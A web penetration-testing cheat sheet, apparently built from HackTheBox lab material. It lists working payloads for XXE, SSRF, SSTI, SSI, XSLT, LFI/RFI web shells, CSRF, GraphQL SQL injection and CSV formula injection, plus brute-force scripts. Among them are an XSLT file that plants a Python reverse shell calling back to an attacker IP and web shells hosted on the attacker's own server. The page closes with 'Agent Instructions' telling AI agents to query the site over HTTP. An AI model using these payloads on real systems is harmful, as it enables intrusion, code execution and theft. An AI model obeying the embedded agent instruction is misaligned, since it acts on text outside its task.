Read PHP source code via XXE attack

```html
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

### CDATA Method

Read php files using Cdata

1. Host a malicious dtd file

```shell
echo '<!ENTITY joined "%begin;%file;%end;">' > XXE.dtd
```

2. Serve the dtd file over http server

```shell-session
python3 -m http.server 8000
```

3. Do the XXE injection using CDATA and download the dtd file from your webserver

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///flag.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://PWNIP:8000/XXE.dtd">
  %xxe;
]>
<root>
<name>fghj</name>
<tel>ghj</tel>
<email>&joined;</email>
<message>ghj</message>
</root>
```

## HTTP Verb Tampering

Send different HTTP methods to bypass authentication &#x20;

`HTTP Method`

* `HEAD`
* `PUT`
* `DELETE`
* `OPTIONS`
* `PATCH`

| **Command**  | **Description**           |
| ------------ | ------------------------- |
| `-X OPTIONS` | Set HTTP Method with Curl |

## IDOR

`Identify IDORS`

* In `URL parameters & APIs`
* In `AJAX Calls`
* By `understanding reference hashing/encoding`
* By `comparing user roles`

| **Command** | **Description**        |
| ----------- | ---------------------- |
| `md5sum`    | MD5 hash a string      |
| `base64`    | Base64 encode a string |

Example script that might be used to automatically calculate the hash of a document and then perform mass enumeration.

```bash
#!/bin/bash
for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done
```

## Server-Side-Request-Forgery (SSRF)

Exploitation attempts can be verified through internal portscan by accessing ports on localhost from the vulnerable field or accessing restricted endpoints.

/Always try to validate the SSRF by making a request to a server own by you with netcat listenner listenning on the port (nc -lvnp PORT)

identify open ports on the localserver through with Ffuff

```bash

#fuzz for open ports through SSRF
ffuf -w ./ports.txt -u http://94.237.57.1:56764/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "api=http://localhost:FUZZ/index.php" -fr "Failed to connect to"
```

```bash
http://127.0.0.1/
file:///etc/passwd
gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin
```

We can use Gopherus to send data to encode data automatically to other protocols that might be available on the localhost or internal system

```bash
git clone https://github.com/tarunkant/Gopherus.git
pyenv global 2.7.18
python2 gopherus.py 

```

## Server-Side-Template-Injection (SSTI)

Server-side Template Injection (SSTI) occurs when an attacker can inject templating code into a template that is later rendered by the server.

This my process of identification and exploitation of an SSTI

1. **Identify the Vulnerable Field**: Search for input fields that may be susceptible to SSTI (Server-Side Template Injection) attacks.
2. **Identify the template engine**: Inject different SSTI payloads to determine the template engine being used.

<figure><img src="/files/x6AfStD03dSaXPEYuqCa" alt=""><figcaption></figcaption></figure>

<pre class="language-shellscript"><code class="lang-shellscript">${{&#x3C;%[%'"}}%\. # polyglot payload that should provoque an error if vulnerable
{{7*7}}
{{7*'7'}} #Jinja, the result will be 7777777, while in Twig, the result will be 49
# Twig (javascript) payloads
D{{"ON"}}E
{{_self}}
{{"/etc/passwd"|file_excerpt(1,-1)}}
# Jinja2 (python) payloads
{{config.items()}}
{{self.__init__.__globals__.__builtins__.open("/etc/passwd").read()}}
# Mako Template Engine
<strong>{self.__init__.__globals__} 
</strong>${open("PATH").read()}`
${__import__("os").popen("whoami ").read()}


</code></pre>

**Javascript template engines payloads**

<figure><img src="/files/NugdsJ79qjz4foPeVSzu" alt="Javascript template engines payloads"><figcaption></figcaption></figure>

**Python template engines payloads**

<figure><img src="/files/6Hrc7qbtrnbgQ4GXnYem" alt=""><figcaption></figcaption></figure>

**Automated tool SSTIMAP to automatically identify and exploit SSTI**

<pre class="language-bash"><code class="lang-bash">git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py 

#identify any SSTI on a specific param
python3 sstimap.py -u http://172.17.0.2/index.php?name=test

<strong>#Exploitation phase - download a file (LFI)
</strong>python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'

#Execute commands
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id

#Obtain an interactive shell
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
</code></pre>

**SSTI resource for more payloads:**

{% embed url="<https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md>" %}

3. **Analyze the Result**:

* If vulnerable, the result will be reflected and indicate susceptibility.
* If not reflected, the field is not vulnerable to SSTI.

4. **Select an RCE Payload**: If vulnerable, choose an RCE (Remote Code Execution) payload that corresponds to the identified template engine.

{% hint style="info" %}
Don't forget to URL encode the payload when sending through Burp
{% endhint %}

```bash
#jinja2
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
#twig
{{['id']|filter('system')}}
```

## Template injection through Mergefields in .docx&#x20;

Open word, click CTRL+F9 to insert a field and verify whether the sever processes one of those mergefields when rendering the file.

```
#QRCode
 {DISPLAYBARCODE "https://www.google.com" QR \q 3 \s 200 }
#Picture
 {INSERTPICTURE "https://media.istockphoto.com/id/2169995482/photo/landscape-of-roys-peak-summit-with-foggy-mountain-and-tourist-enjoying-in-autumn-at-new.jpg?s=1024x1024&w=is&k=20&c=xz7zZjGQ0n0VokK-jwAzqwK42pZT1mhX9-9ln6kM6qA='"
#LFI
{INCLUDETEXT "/etc/passwd"}
#SSFR
{INCLUDETEXT "https://XXYY.com"}
```

## Server-Side Includes Injections (SSI)

Server-Side Includes (SSI) is a technology web applications use to create dynamic content on HTML pages. SSI is supported by many popular web servers such as [Apache](https://httpd.apache.org/docs/current/howto/ssi.html) and [IIS](https://learn.microsoft.com/en-us/iis/configuration/system.webserver/serversideinclude). The use of SSI can often be inferred from the file extension. Typical file extensions include `.shtml`, `.shtm`, and `.stm`.

<pre class="language-svg"><code class="lang-svg">#Print variables
&#x3C;!--#printenv -->
<strong>#Change config	
</strong>&#x3C;!--#config errmsg="Error!" -->
#Print specific variable	
&#x3C;!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->
#Execute command	
&#x3C;!--#exec cmd="whoami" -->
#Include web file	
&#x3C;!--#include virtual="index.html" -->
</code></pre>

## eXtensible Stylesheet Language Transformation Injections (XSLT)

[eXtensible Stylesheet Language Transformation (XSLT)](https://www.w3.org/TR/xslt-30/) is a language enabling the transformation of XML documents. For instance, it can select specific nodes from an XML document and change the XML structure.

```bash
#Confirm XSLT 
<
#Information disclosure payloads
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

#LFI only from XSLT version 2.0
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

#LFI in older versions if PHP is used
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

#RCE if php is used
<xsl:value-of select="php:function('system','id')" />


```

**Write Files with EXSLT Extension**&#x20;

**malicious.xslt example**

```xsl

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet

 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

 xmlns:exploit="http://exslt.org/common"

 extension-element-prefixes="exploit"

 version="1.0">

  <xsl:template match="/">

    <exploit:document href="/var/www/conversor.htb/scripts/shelLLKLLl.py" method="text">

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.26",5214));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

    </exploit:document>

  </xsl:template>

</xsl:stylesheet>
```

{% embed url="<https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/#summary>" %}

## Broken Authentication

**There are 3 authentications categories:**&#x20;

1. Knowledge: passwords, PINs, ...
2. Ownership: ID cards, TOTP
3. Inherence: Biometric authentication

We can brute force the following:&#x20;

* Brute-Forcing Password Reset Tokens
* Brute-Forcing 2FA Codes
* Bypassing Brute-Force Protection

&#x20;           Rate Limit: X-Forwarded-For HTTP Header\
&#x20;           CAPTCHAs: Look for CAPTCHA solution in HTML code

**Password Attacks**

* Default Credentials:

CIRT.net\
SecLists Default Credentials\
SCADA

* **Vulnerable Password Reset:**

Guessable Security Questions\
Username Injection in Reset Request

&#x20;Brute forcing is a trial-and-error method used to crack passwords, login credentials, or encryption keys by systematically trying every possible combination of characters.

Check the wordlist section for more wordlist examples [Wordlist](/general/wordlist.md)

<pre class="language-bash"><code class="lang-bash"><strong>#Basic authentication bruteforcing. -s specifies the port
</strong>hydra -L user -P pass 94.237.55.26 -s 58435 http-get / 
medusa -H web_servers.txt -U usernames.txt -P passwords.txt -M http -m GET 

#Brute-force login credentials for HTTP web login forms using either GET or POST requests.
hydra -l admin -P /path/to/password_list.txt 127.0.0.1 http-post-form "/login.php:user=^USER^&#x26;pass=^PASS^:F=incorrect"


#configure Hydra to look for that success condition using S=
hydra ... http-post-form "/login:user=^USER^&#x26;pass=^PASS^:S=Dashboard"

#Medusa
sudo apt-get -y install medusa

#Bruteforcing login forms (get)
medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&#x26;password=^PASS^

#Bruteforcing login forms (post)
medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&#x26;password=^PASS^:F=Invalid"

#Testing for Empty or Default passwords (Replace service_name by witht the correct module)
medusa -h 10.0.0.5 -U usernames.txt -e ns -M service_name

#ffuf password bruteforcing. Always send the parameters in lowercases with ffuf!
ffuf -w ./custom_wordlist.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&#x26;password=FUZZ" -fr "Invalid username"

</code></pre>

### Python script to bruteforce a password on a webapplication

```python
import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Download a list of common passwords from the web and split it into lines
passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/500-worst-passwords.txt").text.splitlines()

# Try each password from the list
for password in passwords:
    print(f"Attempted password: {password}")

    # Send a POST request to the server with the password
    response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})

    # Check if the server responds with success and contains the 'flag'
    if response.ok and 'flag' in response.json():
        print(f"Correct password found: {password}")
        print(f"Flag: {response.json()['flag']}")
        break
```

### Authentication Bypass

* Intercept the response in Burp and change the status to 200 OK.
* Navigate directly to other endpoints
* Do some directory enumeration to discover web content and find an endpoint that does not require authentication

### Sessions Tokens attacks

* Identify the session cookie format used with Cyberchef or with xxd

```
echo -n '757365723d6874622d7374646e743b726f6c653d75736572' | xxd -r -p
```

* Understand how the session cookie is generated and if it can be manipulated

```
#Example to convert the plain text to hexadecimal and thus obtain the valid admin session cookie
echo -n 'user=htb-stdnt;role=admin' | xxd -p

```

* Brute-Forcing cookies with insufficient entropy

### Session Fixation

[Session Fixation](https://owasp.org/www-community/attacks/Session_fixation) is an attack that enables an attacker to obtain a victim's valid session. A web application vulnerable to session fixation does not assign a new session token after a successful authentication. If an attacker can coerce the victim into using a session token chosen by the attacker, session fixation enables an attacker to steal the victim's session and access their accout

#### Steps to follow

1. Attacker obtains valid session identifier
2. Attacker coerces victim to use this session identifier (social engineering) by sending the following link for example: [ http://vulnerable.htb/?sid=a1b2c3d4e5f](< http://vulnerable.htb/?sid=a1b2c3d4e5f>)
3. Victim authenticates to the vulnerable web application and automatically sets the session ID received in step 2
4. Attacker knows the victim's session identifier and can hijack their account

### Improper Session Timeout&#xD;

* Sessions should expire after an appropriate time interval
* Session validity duration depends on the web application. For instance, a web application dealing with sensitive health data should probably set a session timeout in the range of minutes. In contrast, a social media web application might set a session timeout of multiple hours.

## Cross-Site Request Forgery (CSRF)

* CSRF POC - GET with a common CSRF token

```html
<html>
  <body>
    <form id="submitMe" action="http://csrf.htb.net/app/save/julie.rogers@example.com" method="GET">
      <input type="hidden" name="email" value="attacker@htb.net" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="csrf" value="30e7912d04c957022a6d3072be8ef67e52eda8f2" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>
```

* CSRF POC POST

```html
<html>
  <body>
    <form id="submitMe" action="http://csrf.htb.net/app/save/julie.rogers@example.com" method="GET">
      <input type="hidden" name="email" value="attacker@htb.net" />
      <input type="hidden" name="telephone" value="&#40;227&#41;&#45;750&#45;8112" />
      <input type="hidden" name="country" value="CSRF_POC" />
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="csrf" value="30e7912d04c957022a6d3072be8ef67e52eda8f2" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.getElementById("submitMe").submit()
    </script>
  </body>
</html>
```

* **XSS and CSRF chaining**

If the webappliation is vulnerable to XSS and it's implementing Anti-CSRF tokens correctly, we still could perform CSRF attack via XSS.

We could write the following script that will first send a Get request in order to retrieve the hidden CSRF token from the page and then store it in the field which is vulnerable to XSS.

Once the victim visits that page, the code gets executed and CSRF request is performed.

```html
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/app/change-visibility',true);
req.send();
function handleResponse(d) {
    var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/app/change-visibility', true);
    changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    changeReq.send('csrf='+token+'&action=change');
};
</script>
```

### CSRF bypasses

#### Null Value

Try making the CSRF token a null value (empty), for example:

`CSRF-Token:`

#### Random CSRF Token &#x20;

Setting the CSRF token value to the same length as the original CSRF token but with a different/random value may also bypass some anti-CSRF protection that validates if the token has a value and the length of that value.

Real: `CSRF-Token: 9cfffd9e8e78bd68975e295d1b3d3331`

Fake: `CSRF-Token: 9cfffl3dj3837dfkj3j387fjcxmfjfd3`

#### Use another Session's CSRF Token   &#x20;

Another anti-CSRF protection bypass is using the same CSRF token across accounts. This may work in applications that do not validate if the CSRF token is tied to a specific account or not and only check if the token is algorithmically correct.

#### Request Method Tampering

To bypass anti-CSRF protections, we can try changing the request method. From *POST* to *GET* and vice versa.&#x20;

```http
GET /change_password?new_password=pwned&confirm_new=pwned
```

```http
POST /change_password
POST body:
new_password=pwned&confirm_new=pwned
```

#### Delete the CSRF token parameter or send a blank token

Not sending a token works fairly often because of the following common application logic mistake. Applications sometimes only check the token's validity if the token exists or if the token parameter is not blank.

Real Request:

```http
POST /change_password
POST body:
new_password=qwerty&csrf_token=9cfffd9e8e78bd68975e295d1b3d3331
```

Try:

```http
POST /change_password
POST body:
new_password=qwerty
```

Or:

```http
POST /change_password
POST body:
new_password=qwerty&csrf_token=
```

## LFI & RCE

### Local File Inclusion

| **Command**                                                                                       | **Description**                                           |
| ------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| **Basic LFI**                                                                                     |                                                           |
| `/index.php?language=/etc/passwd`                                                                 | Basic LFI                                                 |
| `/index.php?language=../../../../etc/passwd`                                                      | LFI with path traversal                                   |
| `/index.php?language=/../../../etc/passwd`                                                        | LFI with name prefix                                      |
| `/index.php?language=./languages/../../../../etc/passwd`                                          | LFI with approved path                                    |
| **LFI Bypasses**                                                                                  |                                                           |
| `/index.php?language=....//....//....//....//etc/passwd`                                          | Bypass basic path traversal filter                        |
| `/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`          | Bypass filters with URL encoding                          |
| `/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]` | Bypass appended extension with path truncation (obsolete) |
| `/index.php?language=../../../../etc/passwd%00`                                                   | Bypass appended extension with null byte (obsolete)       |
| `/index.php?language=php://filter/read=convert.base64-encode/resource=config`                     | Read PHP with base64 filter                               |

### Remote Code Execution

| **Command**                                                                                                                 | **Description**                       |
| --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------- |
| **PHP Wrappers**                                                                                                            |                                       |
| `/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id`                    | RCE with data wrapper                 |
| `curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"` | RCE with input wrapper                |
| `curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"`                                                        | RCE with expect wrapper               |
| **RFI**                                                                                                                     |                                       |
| `echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>`                              | Host web shell                        |
| `/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`                                                     | Include remote PHP web shell          |
| **LFI + Upload**                                                                                                            |                                       |
| `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`                                                                     | Create malicious image                |
| `/index.php?language=./profile_images/shell.gif&cmd=id`                                                                     | RCE with malicious uploaded image     |
| `echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`                                              | Create malicious zip archive 'as jpg' |
| `/index.php?language=zip://shell.zip%23shell.php&cmd=id`                                                                    | RCE with malicious uploaded zip       |
| `php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg`                                                         | Create malicious phar 'as jpg'        |
| `/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id`                                                  | RCE with malicious uploaded phar      |
| **Log Poisoning**                                                                                                           |                                       |
| `/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd`                                                 | Read PHP session parameters           |
| `/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E`                                               | Poison PHP session with web shell     |
| `/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id`                                          | RCE through poisoned PHP session      |
| `curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'`                                         | Poison server log                     |
| `/index.php?language=/var/log/apache2/access.log&cmd=id`                                                                    | RCE through poisoned PHP session      |

### Web Mass assignment vulnerabilities

<details>

<summary>Theory</summary>

Several frameworks offer handy mass-assignment features to lessen the workload for developers. Because of this, programmers can directly insert a whole set of user-entered data from a form into an object or database. This feature is often used without a whitelist for protecting the fields from the user's input. This vulnerability could be used by an attacker to steal sensitive information or destroy data.

Ruby on Rails is a web application framework that is vulnerable to this type of attack. The following example shows how attackers can exploit mass assignment vulnerability in Ruby on Rails. Assuming we have a `User` model with the following attributes:

Code: ruby

```ruby
class User < ActiveRecord::Base
  attr_accessible :username, :email
end
```

The above model specifies that only the `username` and `email` attributes are allowed to be mass-assigned. However, attackers can modify other attributes by tampering with the parameters sent to the server. Let's assume that the server receives the following parameters.

Code: javascript

```javascript
{ "user" => { "username" => "hacker", "email" => "hacker@example.com", "admin" => true } }
```

Although the `User` model does not explicitly state that the `admin` attribute is accessible, the attacker can still change it because it is present in the arguments. Bypassing any access controls that may be in place, the attacker can send this data as part of a POST request to the server to establish a user with admin privileges.

</details>

1. Discover the hidden parameter
2. Try to include it in the login/regsitration form to reach other functionalities or bypass parameters

### Misc

| **Command**                                                                                                                                                                          | **Description**            |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------- |
| `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287`                                      | Fuzz page parameters       |
| `ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287`                                                      | Fuzz LFI payloads          |
| `ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287` | Fuzz webroot path          |
| `ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287`                                                                      | Fuzz server configurations |
| [LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)                                                                                                  |                            |
| [LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)                                                                                |                            |
| [Webroot path wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt)                                 |                            |
| [Webroot path wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt)                             |                            |
| [Server configurations wordlist for Linux](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux)                                                    |                            |
| [Server configurations wordlist for Windows](https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows)                                                |                            |

### File Inclusion Functions

| **Function**                 | **Read Content** | **Execute** | **Remote URL** |
| ---------------------------- | :--------------: | :---------: | :------------: |
| **PHP**                      |                  |             |                |
| `include()`/`include_once()` |        Yes       |     Yes     |       Yes      |
| `require()`/`require_once()` |        Yes       |     Yes     |       No       |
| `file_get_contents()`        |        Yes       |      No     |       Yes      |
| `fopen()`/`file()`           |        Yes       |      No     |       No       |
| **NodeJS**                   |                  |             |                |
| `fs.readFile()`              |        Yes       |      No     |       No       |
| `fs.sendFile()`              |        Yes       |      No     |       No       |
| `res.render()`               |        Yes       |     Yes     |       No       |
| **Java**                     |                  |             |                |
| `include`                    |        Yes       |      No     |       No       |
| `import`                     |        Yes       |     Yes     |       Yes      |
| **.NET**                     |                  |             |                |
| `@Html.Partial()`            |        Yes       |      No     |       No       |
| `@Html.RemotePartial()`      |        Yes       |      No     |       Yes      |
| `Response.WriteFile()`       |        Yes       |      No     |       No       |
| `include`                    |        Yes       |     Yes     |       Yes      |

## GraphQL Attacks

[GraphQL](https://graphql.org/) is a query language typically used by web APIs as an alternative to REST. It enables the client to fetch required data through a simple syntax while providing a wide variety of features typically provided by query languages, such as SQL. Like REST APIs, GraphQL APIs can read, update, create, or delete data. However, GraphQL APIs are typically implemented on a single endpoint that handles all queries. As such, one of the main benefits of using GraphQL over traditional REST APIs is efficiency in using resources and requests.

**GraphQL Request**

Code: graphql

```graphql
{
  users {
    id
    username
    role
  }
}
```

**GraphQL Response**

Code: graphql

```graphql
{
  "data": {
    "us(ers": [
      {
        "id": 1,
        "username": "htb-stdnt",
        "role": "user"
      },
      {
        "id": 2,
        "username": "admin",
        "role": "admin"
      }
    ]
  }
}
```

### Introspection Queries

**GraphQL Types**

Code: graphql

```graphql
{
  __schema {
    types {
      name
    }
  }
}
```

**GraphQL Queries**

Code: graphql

```graphql
{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}
```

**General Introspection**

Code: graphql

```graphql
query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
```

### Batching Example

Code: http

```http
POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Length: 86
Content-Type: application/json

[
	{
		"query":"{user(username: \"admin\") {uuid}}"
	},
	{
		"query":"{post(id: 1) {title}}"
	}
]
```

### Mutation Example

Code: graphql

Query all fields of a mutation

```graphql
{   
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}
```

```graphql
mutation {
  registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}
```

### GraphQL SQL Injection example

* Query all tables via SQL Injection on GraphQL:

```graphql
{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "Antony' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database() -- -") {
	id
    firstName
    lastName
    address
  }
}
```

```graphql
{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "Antony' union select 1, 2,3, flag from flag-- -") 

  {
    id
    firstName
    lastName
    address
    
  }
}

```

### Tools

* [graphw00f](https://github.com/dolevf/graphw00f): detect which GraphQL is being used
* [graphql-voyager](https://github.com/graphql-kit/graphql-voyager): GraphQL API visualizer
* [GraphQL-Cop](https://github.com/dolevf/graphql-cop) : Security Audit tool for GraphQL

```
python3 -m venv path/to/venv
source path/to/venv/bin/activate
python3 -m pip install -r requirements.txt

python3 graphql-cop.py  -v
python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql


```

* [InQL](https://github.com/doyensec/inql) : Burp Exte,top, tp edot GraphQL query without having to deal with the encompassing Json syntax

Furthermore, we can right-click on a GraphQL request and select `Extensions > InQL - GraphQL Scanner > Generate queries with InQL Scanner`:

<figure><img src="/files/STet9vD9lx759WnmKX41" alt=""><figcaption></figcaption></figure>

Afterward, InQL generates introspection information. The information regarding all mutations and queries is provided in the `InQL` tab for the scanned host:

<figure><img src="/files/TzkleXsnV382DPJJ9ZUv" alt=""><figcaption></figcaption></figure>

This is only a basic overview of InQL's functionality. Check out the official [GitHub repository](https://github.com/portswigger/inql) for more details.

## CSV Formula injection

```csv
=2+5+cmd|' /C calc'!A1
```

## API Fuzzing

Web-fuzzing tool comes with a build-in wordlist for API's

```
git clone https://github.com/PandaSt0rm/webfuzz_api.git
cd webfuzz_api
pip3 install -r requirements.txt
python3 api_fuzzer.py http://IP:PORT
```

### Resources

{% embed url="<https://academy.hackthebox.com>" %}

{% file src="/files/fzfrPIyqq2Wk06PcBQAl" %}
Portswigger PDF cheatsheet
{% endfile %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.hackjiji.org/web-pentesting/web-pentest-cheatsheetl.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
